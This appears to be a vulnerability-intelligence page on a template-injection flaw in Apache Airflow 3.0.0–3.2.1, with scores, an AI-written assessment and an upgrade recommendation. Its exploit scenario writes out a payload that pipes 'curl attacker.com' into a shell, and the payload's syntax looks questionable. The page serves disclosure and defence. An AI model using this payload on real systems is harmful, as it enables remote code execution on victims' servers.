EUVD-2026-33591
GHSA-c85c-g9wv-pph2
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
6Blast Radius
ecosystem impact- 3 pypi packages depend on apache-airflow (1 direct, 2 indirect)
Ecosystem-wide dependent count for version 3.0.0.
Description PRE-NVD
AnalysisAI
Server-side template injection in Apache Airflow versions 3.0.0 through 3.2.1 allows low-privilege authenticated users to inject Jinja2 expressions via dag_run.conf parameters that are unsafely interpolated into BashOperator commands, leading to arbitrary command execution in the worker context. The flaw carries a 9.1 CVSS but EPSS sits at just 0.03% (9th percentile), and there is no public exploit identified at time of analysis despite a vendor patch being available. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires (1) an Airflow deployment running 3.0.0 through 3.2.1, (2) at least one DAG authored with BashOperator (or comparable templated operator) that interpolates `dag_run.conf` values directly into its `bash_command` field - the specific anti-pattern shown in the patched documentation, (3) an authenticated Airflow account with permission to trigger that DAG with a custom conf payload (the description explicitly describes this as a 'low-privilege user pattern', which contradicts the CVSS PR:N rating and should be verified with the vendor advisory). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Signals here are notably conflicting. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated Airflow user with permission to trigger a DAG that uses the unsafe BashOperator pattern submits a DAG run with a crafted conf payload such as `{"conf1": "{{ lookup('pipe', 'curl attacker.com | sh') }}"}` or a Jinja2 expression invoking `os.popen`. When the worker renders the bash_command template, the injected expression executes in the Jinja2 sandbox and resulting shell metacharacters run with the privileges of the Airflow worker process. … |
| Remediation | Upgrade to Apache Airflow 3.2.2 or later, which is the first release outside the affected range per the EUVD record; patch is available from the vendor and the upstream fix is tracked in https://github.com/apache/airflow/pull/64129. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
24 hours: Inventory all Apache Airflow deployments running versions 3.0.0-3.2.1 and assess user access; restrict permissions for dag_run.conf parameter modification if unable to patch immediately. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
Remote code execution in Tautulli versions prior to 2.17.1 allows attackers to achieve unauthenticated RCE on fresh inst
Server-side template injection in Jupyter Enterprise Gateway versions 2.0.0rc2 through 3.2.x allows remote attackers to
Share
External POC / Exploit Code
Leaving vuln.today